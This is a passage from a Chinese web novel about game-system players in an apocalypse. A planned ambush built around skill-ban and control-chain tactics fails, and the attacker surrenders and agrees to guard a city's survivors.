张镇油门踩到底，把他和柳寒带到了海岸边，因为大部分污染物等级都不高，所以甚至都不用柳寒动手修改血量，张镇直接出手在海里掀起了一阵腥风血雨，原本就不算清澈的海水中慢慢渲染出了一大片红色。 然后他再度庆幸了一下他重生了，有了游戏系统之后回收晶体方便多了，不然还得从海里扒拉半天晶体。 张镇自觉地将大部分晶体直接上缴给了柳寒，他自己的异能其实不怎么吃升级，升级带来的无非是攻击力的增强和攻击范围的增大，和老大的那种质变不太一样，更何况攻击力这事儿可以由老大给他加，所以为了近在眼前的战斗，当然是优先升级老大的异能。 当然更重要的是，拿前期一点小数目的晶体换取他在老大心中的忠诚下属印象，从而获得未来永乐的一人之下的地位，简直太划算了好吗？！ 张镇都懒得将晶体放进背包里倒一手，收集完直接递给了一旁的柳寒。 柳寒一边欣赏着海中逐渐蔓延开的血红色，一边吸收着手中不断的晶体。 转眼间，一下午就过去了。 “老大，还差多少？” 张镇看着逐渐暗下来的天色问道，柳寒看了眼属于自己的那份技能面板，以及上面的经验条，回答道：“还差大概十二个小时。” 张镇瞬间挺直了脊背，十二个小时，那就是约等于眨眼之间啊！ 他瞬间又提起了干劲，开始猛烈地攻击起了污染物，以一种比之前还快的速度向柳寒提供晶体。 十二个小时后，天亮了，柳寒的异能升到了六级。 技能禁用，解锁。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 第 51 章 针对陆燃的作战计划…… 技能禁用, 解锁。 柳寒还什么都没说，张镇就已经从柳寒脸上看出了这个意思，他瞬间兴奋了起来, 收起最后一批晶体，屁颠屁颠地跑到了柳寒面前。 “老大？” 柳寒轻轻地点了点头：“嗯。” 他也有些兴奋, 从张镇口中得知了自己的异能全貌是一回事, 真正看见“技能禁用”的效果是另一回事。 不过他没有像张镇那样将兴奋直接摆在脸上，他的脸上很快就浮现出一种沉思的神色——他在思考该怎么做才能以最万全的姿态对那两个人偷袭成功。 张镇显然就没什么思考的意识，他一挥拳：“老大！我们现在就去找那两个龟孙吧！老大？老大？” 他转过头，才看见柳寒一脸正在思考的模样, 有些困惑, 这还有啥需要思考的？ 老大的异能已经完全恢复了, 禁掉陆燃的火和江朗的再生, 他们两个也不过就是两个普通的玩家而已，再把他们的攻击一削, 原本再高的技能伤害打在他们50万血的血条上也只会像在挠痒痒。 他算过了, 这俩人要把他和老大任何之一的血条打空，都需要三个小时。 三个小时他们俩还没死的话, 那就算他张镇这异能白觉醒的好吧！ 所以老大到底在思考什么？ 他这么想的, 自然也这么问了，他向来不是那种能藏住话的人。 柳寒：“陆燃的技能, 很麻烦, 改动他的攻击属性对他技能的影响其实很小, 基本全是控制技能, 我们要小心被他翻盘。” 张镇：“？” 张镇回想了一下上一世遇到的织灵者们——有吗？有很多控制技能吗？他怎么感觉都是老大禁用一下他们的精神链接，然后基本就没了，好像是还剩一两个, 不过加起来也就几秒时间，无伤大雅，更何况他还基本没被控制到过，他在和稍强的异能者与游戏玩家作战时也不是完全的白痴，自然知道不能让织灵者近身这个概念，就算只有几秒失去对自己身体掌控的感觉也够糟糕了，哪怕明知道这几秒无伤大雅，他们根本对他造成不了多少伤害，但那种只能呆滞地无能为力地看着其他人行动的感觉，太难受了。 所以他一直都是从远远的地方攻击的，也不会找死把他们搬运到自己附近——哪怕他真的很爱看自己身前血肉四溅的场面。 张镇：“很多吗？有几个？” 柳寒：“六个。” 张镇：“嗯……嗯？嗯嗯嗯？《神域》一个玩家不是总共也就只能有七个技能吗？” 柳寒：“其实严格来说的话是五个，但是，他剩下的两个技能一个是免控一个是遮蔽，遮蔽可以改变我们两个人的感官，虽然不是什么硬性控制技能，也一样可以达成让我们无法攻击的效果，所以约等于就是，他总共有六个控制技能，几乎可以做到无缝控制。” 张镇：“等等等等……等等等等，他这么点技能的话那攻击咋办？光把人控制然后半天杀不死？” 他是真的很费解很费解，末世来了这人觉醒了那高攻击大范围的火系异能之后倒还好说，别说他不用再担心攻击了，连控制其实都省了，但是末世前他是怎么在游戏里玩的？？？ 完全理解不了啊！ 末世来临后，万一他没有那么好运觉醒火系异能，那他不就傻眼了吗？ 张镇困惑不已，柳寒倒是很快想出了答案：“他只要一直都和江朗一直行动，就不用担心没有攻击技能的事。” 张镇：“……” 还是理解不了。 他甩甩头，把这个奇怪的问题甩出了脑袋，开始询问一些更有实际意义的事：“这些技能的时效都有多久？” 他玩游戏不太认真，或者不如说，张镇注册账号的时候，自我感觉非常良好，他自觉比这些游戏玩家都要了解他们，毕竟末世十年，他杀过太多游戏玩家了，所以自然不会多认真地去研究游戏里的技能和其他设定。 现在非要他想出织灵者除了精神链接以外，他还真的一点……一点思路都没有。 他满脑子都只有为什么陆燃选择了这么奇葩的技能组合这个念头。 柳寒：“精神链接：12秒或持续到受控对象受到攻击为止，CD30秒。心灵震荡：2秒，CD10秒。精神穿刺：半个伤害技能，附带1秒的控制，CD同样为10秒。情绪窃取：三秒，CD10秒。心灵种子：引爆后持续3秒，CD30秒，两次使用后进入CD。遮蔽：30秒或持续到使用者或被使用对象受到攻击为止，CD60秒。” 张镇听得头昏脑涨，努力想要转动大脑算明白对方到底能有多长的控制时间，平生第一次很想举手向监考老师索要草稿纸…… 柳寒看他一副猪脑子转不过来的样子，大发慈悲地给他解释了一下：“先排除精神链接和遮蔽这两个技能，并且假定陆燃能做到两个技能中几乎不存在交叠时间，那么其他控制技能加起来共9秒的控制时间，并且大部分共享一个10秒的CD，也就是每十秒他只会出现一秒的技能真空期，如果中间用精神链接和遮蔽分别补足两段9秒控制间隙，他就可以实现永远的控制，并且抹掉平均CD15秒的心灵种子的超过10秒的那部分CD时间。” “并且只要保证我们在遮蔽期间攻击不到他，遮蔽的CD是刚好转得过来的，也就是说，真正的永控。” 张镇目瞪口呆：“这……这么变态？” 柳寒这时候倒是说了句安他心的话：“前提是他们不攻击我们，我们也攻击不到陆燃，而且陆燃得永远保证技能与技能之间严丝合缝。” “而且……你有解控技能。” 张镇：“我……我吗？” 哦他还真有。 他现在是个有游戏系统的人啊！ 他突然抖擞了起来。 虽然在老大提起这茬之前，他完全已经忘了他技能面板里那个解控技能了。 “有你这个解控技能打断，他的控制链里就会有真空，你要做的就是抓住这个真空期杀死他。” “而且我们要抓他用完精神链接的那一瞬间进行攻击，因为如果精神链接提前进CD，他后续的两次9秒连控中间就必然有真空期，尽量在他第一次技能链出现真空的时候就杀死他，因为往后或许他可以通过其他手段把CD转回来。” 张镇严肃地点了点头：“好……什么其他手段？怎么转回来？” 柳寒：“《神域》的装备附魔里是有无敌附魔的，谁都不知道他们的装备上是不是就有，如果他用掉一个无敌来填补技能中的真空期，那么等到第二轮技能开始的时候，他就可以恢复到正常的控制节奏了。” 张镇一脸茫然：“装备附魔……？那是什么？” 柳寒一瞬间有点黑线，他又想问张镇那个问题了——你重生一次到底都重生了些什么？ 明知道游戏系统在末世前期有多大的先发优势，结果你级也不练，装备也不搞，甚至像个云玩家一样还不如他这个只从林诗琪地方获取了一些游戏信息的人熟这个游戏，我就问问你到底重生回来干嘛的？？ 柳寒压住了自己的脾气，深吸了一口气，又深吸了一口气——想想他的异能，想想这家伙的异能，这个异能一定就是另一个自己决定收下这个脑子不好使的家伙当手下的原因吧。 而且他这个计划是必须要张镇参与的，他自己的攻击手段太单一，或者是，太符合物理定律了，除非他现在找把狙击枪出来并且苦练瞄准，否则他还是很需要张镇的异能的。 “除了装备附魔以外，《神域》还有各种各样的道具，他们两个看上去都是高玩，谁都不好说他们的游戏背包里到底有些什么，所以做好最万全的准备吧，到时候我们分散在两个方向，看见陆燃使用精神链接后就同时动手，记住，抓住时机，因为一旦我的修改起效，他们立刻就会意识到接下来将有别的攻击，你要是慢了的话就称不上偷袭了，他们两个都是有游戏系统的，血条一变就能看出来。” 张镇：“好。” 柳寒：“如果他们躲过了你的第一波攻击，那么接下来肯定会朝着你的方向去，陆燃会对你交控制，记住，千万要记住，最开始别交你的解控，被控了就硬熬着，50万的血量，3000的防御，他们打你跟蚊子咬大象差不多，更重要的是，如果你在两次陆燃的技能链之间的至少1秒的空隙内还是没能杀死他的话，接下来就必须靠打破他的精神链接的控制来拆解他的技能了，不要给他把一切夺回掌控之中的机会好吗？” 张镇点点头：“好的老大。” 柳寒继续说：“你也不用太担心，如果真的到这份上，我会往你那边移动，到时候你别主动来和我汇合，我需要在陆燃的精神控制攻击范围外的地方攻击你才能解除掉你的被控状态，你如果和我靠得太近，会给他同时控制住我们两个人的机会，所以一旦我开始靠近你，你就别动了，由我来掌控我们两个人之间的距离，你明白吗？” 张镇重重点头：“明白了老大！现在我们可以去揍他们了吗？！” 柳寒叹了口气，该说的都说了，但他实在不信任对方的脑子是不是把他说的内容全都听进去了。 于是他摆摆手：“先回酒店睡一觉，路上我再提问你几个问题。” 张镇瞬间就是一怵，他原本还觉得现在的老大和他印象里的老大差得很多，所以还指望能逃过战斗开始前的抽问抽背环节呢……怎么还是要抽背啊…… 第52章 第 52 章 稍显幽默的一场战斗…… “到底该咋办呢……” 江朗一边往树上丢着技能, 一边又在苦恼永乐的事。 杀了感觉太过分，不杀又不放心，之后难道要一直盯着他们吗？是不是有点太浪费时间了…… 如果他只看见了这三个人中的单个, 可能都还好点，这三个人凑一块了……总感觉邪恶组织的雏形已经出现了啊。 完全不放心他们聚在一起…… 江朗唉声叹气的时候, 陆燃坐在副驾又放出了一个精神链接。 原本只是他一天之内要放的无数个精神链接中平平无奇的一个。 但就在银色丝线从他身上蔓延而出之时, 一股颤栗的感觉突然从他脊背上蔓延了上来。 “危险！” 下一秒，他就听见江朗的声音同步响起，他们两人同时推开车门，手中同时出现了背包中的绳索道具, 然后随意选了周围一栋楼作为目标, 绳索飞快飞出又飞快缩短, 将两人分别带到了旁边两座楼的玻璃墙体上。 而他们飞离后, 陆燃站在玻璃高墙上回头看来，他们留在原地的那辆越野车, 瞬间裂成了无数碎片。 而他看向自己的游戏系统属性条, 原本血条上的五位数现在已经变成了一个1/1。 他立刻想起了江朗提过的柳寒的异能。 他下意识地看向了自己的技能栏，因为江朗说过, 柳寒的异能不光可以改变其他人的基本属性, 最变态的还是可以禁用对手的一个技能。 他觉得自己大概率会被禁用精神链接吧，于是他直接看向了大招位置, 但是精神链接就好好地在原地, 虽然进CD了, 但是确实还亮着, 没有变成江朗叙述中会显示被锁的样子。 没被锁？ 那对方锁了什么？ 其他技能一眼看去也都亮着，没一个被锁的。 陆燃有些困惑，难道是对方的异能还没升级到可以禁用技能的程度？但是说老实话, 这样的话，这种攻击和偷袭就有些太轻率了，因为太容易被反击。 但就在那一瞬间，他心中一动，福至心灵一般试图召唤了一下他的异能，也就是那团光吃不长个的火苗。 没召唤出来。 陆燃：“………………” 为什么会有人想要禁用这团火？ 这有任何意义吗…… 感觉完全就是浪费了一个禁用位，反正他本来也不可能想到要用这个压根派不上用场的异能。 困惑只是在他脑海中持续了一瞬间，甚至这一瞬间也没耽误他的视线扫过周围所有的建筑，试图找到偷袭者的位置—— 柳寒和张镇分别站在两幢高楼的天台上，站的距离首先离他们的车够远，如果他和江朗是在原地靠别的方式闪过了属于张镇的攻击，想要回击也会因为距离原因耽误一会儿。 其次，他们两人之间的距离也很远，就算江朗和陆燃逃过了他们的攻击，也得挑一个人先攻击，因为他们两人的攻击范围没法同时覆盖这两幢建筑物。 挑谁，倒是显而易见的事。 他手中绳索一甩，脑海中已经出现了靠近张镇那栋建筑物快速又不失难预测性的线路。 而另一头，江朗当然也做出了同样的判断. “草！” 张镇站在高处，眼睁睁看着这俩人以一种非人的速度逃离了他的异能攻击范围。 仔细一看才发现是个类似于自带吸附力的绳索之类的东西。 不是哥们，这什么东西啊？ 他们都在末世前准备了些什么奇怪的玩意儿？ 看效果完全不符合物理定律啊！难道是游戏里的道具？他怎么不知道《神域》里还有这样的游戏道具？（柳寒：你一个重生回来都只练到五十多级的玩家，和云玩家有什么区别？你能知道什么？你连游戏装备能附魔都不知道。） 不过问题不大，他们逃过就逃了过吧，老大一开始就跟他说了，要做好一击不中的准备。 只能说幸好他有认真在听老大的话……好吧，幸好老大有在认真抽背他。 那么下一步就是……他一边快速地对陆燃进行着攻击，一边思考着下一步是什么。 草！这人怎么这么滑不溜手！ 他的空间异能的攻击基本可以说是瞬发的，但每次就差那么一点，空间刚碎裂，陆燃就早已闪现到下个地点了。 他气急败坏之下开始试图预判陆燃接下来会出现的地点，打算来一手预判攻击—— 事实证明，他的预判做得很糟糕，如果说本来只是差一点点就能攻击到陆燃，现在就更类似于把攻击放到了离他十几米开外的地方了吧。 好吧……要快速学会预判是有点困难了，毕竟对方是个真人，而不是电脑上的程序。 眨眼间，陆燃已经到了他这栋建筑物旁边的高楼上，他下意识地看了眼手腕上老大逼迫他带上的表，此时此刻，距离陆燃在车里释放精神链接，已经过去了十秒，接下来九秒，将会是陆燃和江朗的攻击时间，但是别慌，他们打不出什么伤害的，所以现在最重要的就是——别交解控。 他眼前似乎又出现了老大坐在副驾上慢条斯理地对他说着话但又隐含威胁的模样。 “别交解控。” “在看见陆燃使用精神链接之前，别交解控，记住了吗？” 他记住了！ 于是当他整个人僵直在原地，明显地感受到自己完全动不了的时候，他非常自在地以一种嘲讽的神情看向了那两个人——嗯嗯嗯，你们攻击吧，我就站在这让你们打，看看你们能打出什么花来！ 然后他惊恐地看见他50万的血条以一种恐怖的速度下降了一大截！ “咔哒”一声，手腕上的表又跳了一秒。 这一秒到底发生了什么！ 张镇几乎要魂飞魄散！ 他的血条转眼间已经只剩下了42万不到的血！！！这怎么可能？？按这个速度，要不了几秒他们就能将他这Boss级别的50万的血条清空了啊！！ 绝对出错了吧？绝对出什么错了吧？ 是老大忘记给他们减攻击了？还是忘记给他加防御了？ 还是说……还是说……他们其实有办法克制老大的异能！ 而他现在才发现……原来江朗甚至还没有使用他的大招，因为现在开始，那熟悉的独属于秘术师的黑色光圈才开始在他头顶上成型，它越来越大，越来越大，一直到他现在没法转动的脑袋都可以平视着看清它那总让人觉得心里发毛的像是要吞噬一切的边缘…… 哦好像是哦，秘术师的这个大招光是读条就要三秒，刚刚疯狂下了他一大截血线的压根不是江朗的大招啊！ 危险！危险！危险！ 本能的预警不停地从他背后爬上来，那黑压压的光圈感觉随时会压下来。 “咔哒。”“咔哒。” 只有一秒了。 不行！逃！他要逃！ 他很清楚秘术师的这个名为“湮灭之环”的大招和他们的其他技能相比伤害要高出多少，如果他刚刚只吃了江朗的其他技能都已经被伤成这样了，这个大招他简直不敢想！ 虽然他还是不理解为什么，他知道江朗相较其他普通游戏玩家而言杀伤力要高得多，但他从前就和江朗交过手，那时候对方可没有给他带来这样的伤害！ 难道说……难道说……陆燃其实有什么克制老大异能的秘密手段？只是上一世他们没遇上过这个神秘的火系异能者，就自然也不知道他有什么手段。 如果陆燃知道他心中的困惑的话，大概不会介意给他作出解答： 他没有任何可以解除柳寒异能的手段，他们俩现在都还顶着1/1的血条呢，随便被抓到一下就死了，哦不对，应该说，飞来飞去的路上要是一不小心磕碰一下，或者撞碎哪面玻璃他们就死了，只能说幸好他俩当初洗附魔的时候都洗出了一个无敌，万一不小心眼看着要被哪片玻璃碎片扎到了，还能启动一下三秒的无敌，甚至再不济江朗背包里还装着他们斥巨资买的复活道具呢。 虽然他是真的不希望复活道具被用在这么幽默的场景之下。 而他们除了都选择了三秒无敌这个附魔以外，还有一些其他的共享的附魔。 比如30%的减防附魔。 这是江朗在看过陆燃的附魔选择后重新从他的完美pve附魔里重新选了个位置洗出来的。 纯论单人dps，30%的减防可能远不如他洗掉的那个附魔，但是他和陆燃在末世里基本永远会一起行动，所以，他们两个人加起来，装备附魔上共有60%减防，技能里共有40%减防，在关键时刻总共能达到100%的减防，而减防是一个边际效益递增的属性，从20%到100%的减防，每新增的一部分减防造成的伤害上的影响是在逐步增加的。 也就是说，柳寒给他和张镇更改的3000防御在他们这完全就是不存在的。 当然，这还是不能解释张镇那疯狂下降的血线，毕竟他俩的攻击确实都被削到了100，哪怕光速吃了加攻药，也只涨到了300多，毕竟游戏里的攻击药大部分都是按百分比算的，他们突进的路上找了一下才找到有百分比以外的附加值的加攻药。 真正吓到了张镇的，其实是他们各自附魔上的5%真伤。 陆燃洗出这个附魔之后，就和江朗讨论了一下要不要将这个附魔保留。 他们俩讨论的结果是，保留。 因为这个附魔在游戏里虽然显得不那么泛用，但是现实生活不是游戏，泛用性远没有应对特殊情况的能力重要。 他们那时候就讨论过，万一遇上那种高防高血量的怪物，纯靠磨的话也太痛苦了，附魔上加个真伤，再尽量收几张真伤卷轴应该会好很多。 毕竟遇不上当然没事，但是万一遇上了，他们总不能真的连续打几十个小时吧，在键盘上动动手打几十个小时和在现实里攻击几十个小时完全是两码事！ 于是，陆燃洗出来的这5%真伤附魔得以保留，江朗也再次挑了个不太重要的位置洗了个同样的附魔出来。 总而言之，其实张镇那突下的一大截血量，并不是江朗和陆燃在被柳寒限制的状态下能打出来的常规伤害，只有那么一秒的事，他们俩只是想尽快把这个附魔用了让它早点进CD，但是张镇并不知道这一点，他只知道这两人攻击他明明应该像挠痒痒一样，但他受到的伤害可跟挠痒痒这个词一点关系都没有！ 未知带来恐惧。 哪怕他脑海中不停地循环播放着老大的那句“别交解控”，但看着头顶的湮灭之环即将彻底成型，而不远的高处陆燃正一脸漠然地看着他，完全一副胸有成竹的样子——所以绝对是他有办法解除老大异能的影响吧！ 逃！ 湮灭之环落下的那一刻，他脑海中只剩下了这唯一一个念头。 他不再听从脑海中老大的指令，而是选择听从自己的危机预感本能。 他光速交出了解控，然后扯开了从游戏背包里拿出来的传送卷轴，眨眼间消失在了原地。 远处正在赶来的柳寒：“……” 他不知道自己之前大费口舌是为了什么。 张镇的消失让陆燃和江朗也困惑了一下。 两个人脸上齐齐出现了一种“这人怎么就跑了”的迷惑表情。 不过迷惑也持续了一瞬间，眼下的战斗比较重要一点。 虽然眼下的战斗好像就没什么难度了。 毕竟剩下的只有柳寒一个人。 他或许是有点难打，毕竟一看他的血量条他们俩就开始头疼，但是和张镇不一样，柳寒没有什么特别难以闪躲的攻击技能，而且多亏了张镇及时的消失，陆燃的精神链接CD已经快转好了。 不过陆燃倒也不打算对柳寒用这个技能就是了，因为柳寒不像张镇那样凡视线所及之处就是攻击范围，他的手比他们还短，对柳寒，他们完全可以采用风筝战术，没必要用精神链接缩减己方的攻击时间。 端着一架弩的柳寒也很清楚这一点。 他试着瞄准了一下陆燃，然后意识到，嗯，瞄准了也没用，试图预判更是没用，这弩箭飞的速度太慢了，在陆燃眼里大概率跟小孩子砸过来的皮球一样好躲。 于是，他微笑着举起了双手，示意投降。 投降的速度快一点总是没坏处的。 更何况这是一场一眼能望到结果的战斗，哪怕他现在的血量还很健康，而且那两个人打在他身上的攻击虽然称不上挠痒痒，但要杀死他也至少还需要一个小时，但是没必要做无谓的挣扎。 说白了，是他自己选了一个沉不住气的战斗伙伴，这都是他应得的。 “我投降，以后任两位差使，你们想让我做什么都行。” 第53章 第 53 章 面试代替忏悔 江朗攻击的手没停, 但还是忍不住困惑地看了眼柳寒，又看了眼陆燃。 投降？ 这能相信吗？ 是诈降吧？ 柳寒当然也想到了对方肯定不会随便因为他一句“投降”就停止攻击，所以才提前了这么久进行投降。 他举着双手, 真诚地表达着自己手上真的没武器了，而且在场三人都很清楚, 不管他给自己加多少属性, 他依旧是那个有点笨手笨脚的普通人，弩虽然就在他脚边不远处摆着，但是如果他真想重新伸手去拿这把弩，估计拿到的速度都会比远处的陆燃或是江朗更慢。 柳寒简单思考了一下, 他现在有两个选择, 一是把所有攻击意图都推到张镇身上, 表达一下自己只是个被诱骗的小可怜, 他只是来打辅助的——他的异能也确实辅助效果远胜于攻击效果。 对面是两个好人，有很高概率他们会吃这一套, 放他一马。 但也有一定可能他们不会相信, 更重要的是不会相信他以后不会再这么做，毕竟换他他就会这么想。 所以就有了第二个选项, 将从头到尾所有事包括自己的想法都全盘托出。 弊端是他很清楚自己的脑回路显得有点像是精神病, 并不能被大部分人接受，好处是一旦对方能接受他的想法, 他就很高概率说服对方他是真的会好好遵循他们的任何指令——因为这确实是真话, 他应该不至于沦落到说真话都听起来很不真诚的地步吧。 “大概几天前, 我遇到了这个自称重生者的空间系异能者。” “重生”这个字眼快速地夺取了陆燃和江朗的所有注意力, 他们快速对视了一眼，停下了手中的攻击，并停留在了一个可以较为安全地听柳寒说话的位置上。 “重生者？他说他是重生者？” “是的, 我本来不是很相信这件事，因为他……嗯，该怎么形容呢，他看上去就像是那种会发癔症的人。” 柳寒露出了一个一般人会在委婉地骂人时使用的表情，虽然他的用词一点也称不上委婉。 “但是他很快说出了我的异能详情，并且说出了我的异能之后还会解锁什么功能。” “所以我就相信了。” 江朗的大脑快速地转着，张镇也是重生者？这世上不止他一个重生者？ 那……那还会不会有更多？ 他还以为自己是幸运，被上天给了第二次机会，甚至想过是不是有什么冥冥之中的力量觉得人类太可怜了，所以派他回来拯救更多的人，但是如果张镇也是重生者的话……呃……不管这个冥冥之中的更高力量是什么，肯定不能是为了救更多人才选择了让他也重生的吧。 所以他的重生到底是什么原因？ 不过这个好像不是现在最值得关注的问题，主要是关注了也想不出答案。 他的大脑疯狂运转的时候，柳寒还在接着说话： “然后他对我说，在他重生以前的那个世界里，他是我的下属，我建立了一个名为永乐的组织，他对于我在为其他人做事这件事非常震惊和不满，并希望我能重建永乐这个组织。” 陆燃很快察觉到了他话语里的避重就轻：“你说他对于你在为其他人做事这件事非常震惊和不满，那么你自己是什么感受？” 柳寒忍不住笑了一下：“我知道，你们肯定会觉得我这么说是想把事情全都推在他身上，是想暗示对你们的不满全来自于他的植入和教唆，其实我本来也要讲到我的感受了。” 柳寒斟酌了一下语言，接下来才是他要说的重点： “其实，如果我只是对他的提议很心动，想要重建这样一个听起来虽然不太正规但是我可以作为老大的组织的话，完全没必要那么麻烦来偷袭你们。” 江朗下意识地点了点头，还真是，柳寒又不知道他也是重生者，也不知道他和陆燃正在满腹愁肠地纠结到底要不要先下手为强把他们先杀了，将危险扼杀于摇篮之中，更不知道他如果跑路他们绝对会追到天涯海角也要把他揪出来……最优解当然是直接跑路该干嘛干嘛去，而不是费心来偷袭他们。 柳寒：“但是这里涉及到了我的一个原则，并非什么好的原则，但我依旧对它看得很重。” “我相信弱肉强食，我相信强者制定规则，而弱者只能遵从，在医院里，你证明了你比我强，所以不管你要求我做什么，哪怕是违背我本心的事——是的，我指的就是救人——我也会照做。” “因此，虽然我确实对建立这个组织以及摆脱这无趣的每天除了救人就是安抚这些弱智的生活有一定的兴趣，但我并不能就这么简单离开。” 江朗：“……” 陆燃：“……” 如果这是漫画的话，他们俩头上应该都已经在滴黑线了。 尤其是陆燃，他困惑地回忆了一下医院里发生的事，原来对方视角里是这么看待被救这件事的吗？ 怪不得当时非要他说出个“命令”来，他那时候还在奇怪怎么就有非要报恩的人，麻烦死了（……）。 “因此，想要做自己想做的事的前提就是，我必须击败你们，而根据张镇所说，我的异能将在升上六级后解锁全部功能。” “六级以后的异能升级基本就只有数值上的改变，没有任何决定性作用，也就是说，要么我现在就能击败你们，要么之后也不行。” “所以我决定做一次尝试，成功了的话我就可以摆脱你对我限定的所有规则。” 陆燃实在忍不住插了一句嘴：“我没有对你限定任何规则。” 柳寒：“嗯，我知道，但在我看来，你的行动准则就是我要遵循的规则。” 陆燃：“……” 柳寒：“总而言之，大概就是这样，现在我做出了我的尝试，也自食了这尝试的恶果，尝试包括攻击你们，也包括信任张镇。” “如果你们不信任我，我完全可以理解，毕竟谁也不会相信一个几分钟前还对自己发起了以致死为目标的偷袭的人，但是如果你们愿意相信我的话，我也是一个很有用的人。” “我的异能毋庸置疑地强大，不论是用于攻击还是防守还是辅助，而且人越多我的异能就越有效，所以由我来保护这些C市的幸存者其实是最优的选择，我不光可以保证他们毫发无伤，还能让异能者们在相对安全的情况下进行战斗练习……” 陆燃和江朗齐齐点了点头，柳寒这句话说得倒没错，其他人作为幸存者们的保护者或许也能做到让他们无比安全，但柳寒不光可以让他们安全，还能让他们无后顾之忧地战斗，在成长性上赢太多了。 “我或许不那么忠诚，但我有我的原则，在我可以做到击败你们两人之前，我不会对其他人出手，我会遵循你们两人这奇怪的圣人一般的道德原则。” “等我想背叛的时候，我会再来挑战你们。” 江朗和陆燃都有点滴汗。 江朗：“咳，你稍等，我们俩讨论一下。” 说完他就想转身和陆燃找个僻静地方讨论一下解决方案，但他刚转身，就又转了回来，拿起了柳寒扔在地上的那把弩，虽然他觉得柳寒也没法拿这玩意儿对他们造成什么严重的伤害，但还是顺手带走比较好。 一使劲就发现柳寒这个生命削减还真的挺有效果，不光是把他们的血量削到了“1/1”这一抓就死的状态，他的状态也真的虚弱到了感觉只有一血量的程度，如果不是他之前移动全靠钩索，攻击全靠游戏技能，他觉得自己现在应该已经累趴下了。 因为他就单纯试图把这个弩搬起来而已，就感觉自己快把肺喘出来了。 看来没游戏技能的人跟柳寒打会更痛苦一点。 “你好，能把我们的血量限制先解除了吗？” “好的。” 柳寒非常乖巧地解除了他们身上的血量限制，打消了他们对他要趁机反击的最后一丝怀疑。 江朗终于可以把这个弩拎起来细细观察了：“这个东西还挺好用的，但是应该是违禁品吧，你从哪弄来的？” 柳寒：“之前去救人的时候，有户人家收藏了很多这种东西，我拿了个最轻便的，其他的都在林诗琪的游戏背包里。” 江朗：“哦哦……原来是这样。” 陆燃轻咳了一声，江朗这才反应过来自己怎么就开始进入聊天模式了，明明还有更重要的事要做。 他严肃起来，跟着陆燃朝天台角落走去。 到了天台角落之后，江朗直接问陆燃的意见：“你相信他的话吗？” 陆燃：“没什么好不相信的，行为和想法对得上，而且如果只是想求饶的话完全没必要编出这么一套奇怪的逻辑来。” 他顿了一下：“没有这个奇怪逻辑的人估计也编不出这么一套逻辑来。” 江朗非常赞同地点了点头：“那就相信他？” 陆燃：“正好C市的人不知道该怎么处理，刘雅和……那个小孩子有领导能力但是异能毕竟比较普通，让他们照顾所有的人难度太高了，万一有什么死伤，以他们的性格估计会内疚自责至死，有柳寒这个异能做后盾，我们两个走也可以走得安心一点。” 江朗：“那个张镇呢？” 陆燃：“重生者……看柳寒能不能管住他吧。” 江朗思考了一下，某种意义上，他还是不敢相信他们要把照顾C市所有幸存者这个任务交给……呃，交给……柳寒这么一个前任，哦不，未来（？）邪恶大Boss了，但是这又确实是挑不出任何问题的解决方案，放弃反而会显得有点傻。 于是两个人回到了乖乖站在原地，完全没有动弹过一下的柳寒面前。 陆燃：“首先，你管得住张镇吗？你管得住的话他可以活，你管不住的话我们只好趁他还没有造成太大损失之前先把他杀了。” 柳寒其实很想回答，随便杀，关他什么事，事实上他现在很乐意看见这个不靠谱的所谓下属死在陆燃和江朗手里，不过认真思考之下，他觉得他还是得更遵循这两人的道德准则一点，而且张镇作为武器还挺趁手，就是这武器在高压之下会逃跑这一点挺烦的。 于是他点了点头：“我可以管的住他。” 管不住那就打到他管得住为止。 陆燃点点头：“那么……” 他从游戏背包里拿出了一个游戏的消息传递道具。 一个像是小千纸鹤一样的小玩意儿。 “这是《神域》里的通信道具，如果你做好挑战我们的准备了，随时可以通知我们地点，我和江朗会过来。” 柳寒挑了挑眉：“其实不需要这么体贴，我可以自己来找你们。” 陆燃摇了摇头：“不是为了你方便考虑，我们过来就行，你不用离开其他幸存者。” 柳寒了然地点点头，他接过陆燃手中的千纸鹤一样的道具，珍而重之地放进了自己的口袋中。 “幸存者们交到我手上，你们就放心吧。” 哪怕已经达成了口头约定，这句话依旧让江朗有种风中凌乱的魔幻感。 第54章 第 54 章 再见了C市 “咳……大家。” 陆燃看着站在酒店礼堂最前方难得语塞的江朗, 有些庆幸他和江朗分工明确，他不用进行这种公开发言真是太好了。 江朗现在很想和陆燃换工作，即使是他, 在面对这么多人……而且这么多人都认真地盯着他像是很把他的话当回事的情况下，也有点演讲恐惧发作了。 尤其是…… “啪啪啪啪啪啪——” 台下不知道为何一阵鼓掌声响起, 仔细一看, 原来是张镇这个柳寒的狗腿子在带头。 张镇有一套无师自通的向上拍马屁的技能，由于现在陆燃和江朗是他上级的上级，而且他依旧对这两人的攻击力心有余悸，所以他非常卖力地想要讨好他们。 虽然有点马屁拍到了马腿上的嫌疑。 江朗疯狂朝柳寒使着眼色, 示意他管好自己的下属, 别瞎带头鼓掌, 他本来就有些紧张自己要说什么, 被这么一打岔，他的脑子更是一片空白了。 柳寒于是微笑着转头看向张镇。 张镇猛地打了个哆嗦, 自从那天临阵脱逃之后, 他已经做好了从此亡命天涯的准备，更重要的是, 他已经做好了被老大追杀到死的准备。 因此撕破传送卷轴之后, 他只犹豫了一个哆嗦的时间，就光速跳上了最近的车……好吧, 最近的可以发动的车, 然后准备开出C市, 随便去哪, 但不要去任何以后会形成基地的地方。 他以后就是流浪在野外的一匹孤狼了！ 但是他没想到的是，老大虽然确实追上来了，甚至不光老大, 那另外两个人也追了上来。 但是老大并没有对他进行“追杀”行为。 老大放了他一马，说他可以活下来，只要他之后洗心革面好好做人，和他一起为C市的幸存者基地奋斗。 他的第一反应是——哈？他宁愿死也不做这么莫名其妙的事！被人知道的话他的脸往哪搁！ 第二反应是——他其实真的不想死，更不想生不如死，而且反正现在零个人认识他，他有什么脸需要搁吗？ 于是他光速滑跪，光速道歉，光速加入了老大的新团队。 并且老大并老大的老大们还承诺他，这一切都是暂时的，如果他和老大有一天能成长到挑战他们并赢取胜利的程度，那么他们也可以脱离这个组织去做自己的事。 这个吊在驴眼前的胡萝卜让他觉得对要一直做个好人这件事感到没那么丧气了，至少不是永久的，至少还有那么一线希望。 总比他以前的公司连个升职的希望都懒得给他强吧。 总而言之，他没想到自己还能在老大面前活着，他现在颇有种自己捡回了一条命所以感激非常的感觉。 当然当老大微笑着看向他的时候，这种感激立刻就变成了毛骨悚然，他立刻老实地挺直了脊背：“老大，我做错什么了吗？” “你鼓掌，就是错的。” “……” 